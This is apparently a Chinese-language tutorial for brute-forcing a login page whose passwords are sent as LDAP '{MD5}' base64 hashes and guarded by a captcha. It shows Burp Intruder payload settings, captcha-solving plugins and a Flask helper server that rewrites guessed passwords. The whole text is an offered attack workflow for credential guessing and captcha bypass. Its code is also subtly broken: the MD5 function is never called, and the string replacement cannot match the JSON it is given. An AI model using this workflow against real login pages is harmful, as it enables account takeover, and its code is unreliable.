登錄口爆破之ldap的md5加密、驗證碼認證
ldap的md5加密配合autoDecoder
插件、captcha-killer-modified
插件
autoDecoder例
需要傳入的數據包為:
{"username":"admin","password":"{MD5}ISMvKXpXpadDiUoOSoAfww==","code":"YJIV"}
intruder
數據包設置如下:
{"username":"admin","password":"§1§","code":"§JOEJ§"}
intruder
設置如下:
由於我們只針對intruder
里的賬號密碼進行爆破,所以解密接口我們用不到,直接捕捉到數據包直接返回即可:
@app.route('/decode',methods=["POST"]) # 不解密
def decrypt():
param = request.form.get('data') # 獲取 post 參數
return param
加密服務端代碼如下:
# -*- coding:utf-8 -*-
# author:f0ngf0ng
# ldap的md5加密爆破
from flask import Flask,Response,request
from pyDes import *
import base64,hashlib,json
def hash_md5(data):
md = hashlib.md5()
md.update(str(data))
a = md.digest()
b = base64.b64encode(a)
return b
app = Flask(__name__)
@app.route('/encode',methods=["POST"])
def encrypt():
param = request.form.get('data') # 獲取 post 參數
data = json.loads(param)
print(data)
encry_param = param.replace( "password': '"+ data['password'],"password': '"+"{MD5}" + data['password']) # 密文替換明文,且添加{MD5}關鍵字
return encry_param
@app.route('/decode',methods=["POST"]) # 不解密
def decrypt():
param = request.form.get('data') # 獲取 post 參數
return param
if __name__ == '__main__':
app.debug = True # 設置調試模式,生產模式的時候要關掉debug
app.run(host="0.0.0.0",port="8888")
運行如下
python flask.py
autoDecoder
設置如下:
captcha-killer-modified
插件頁面如下:
爆破如下: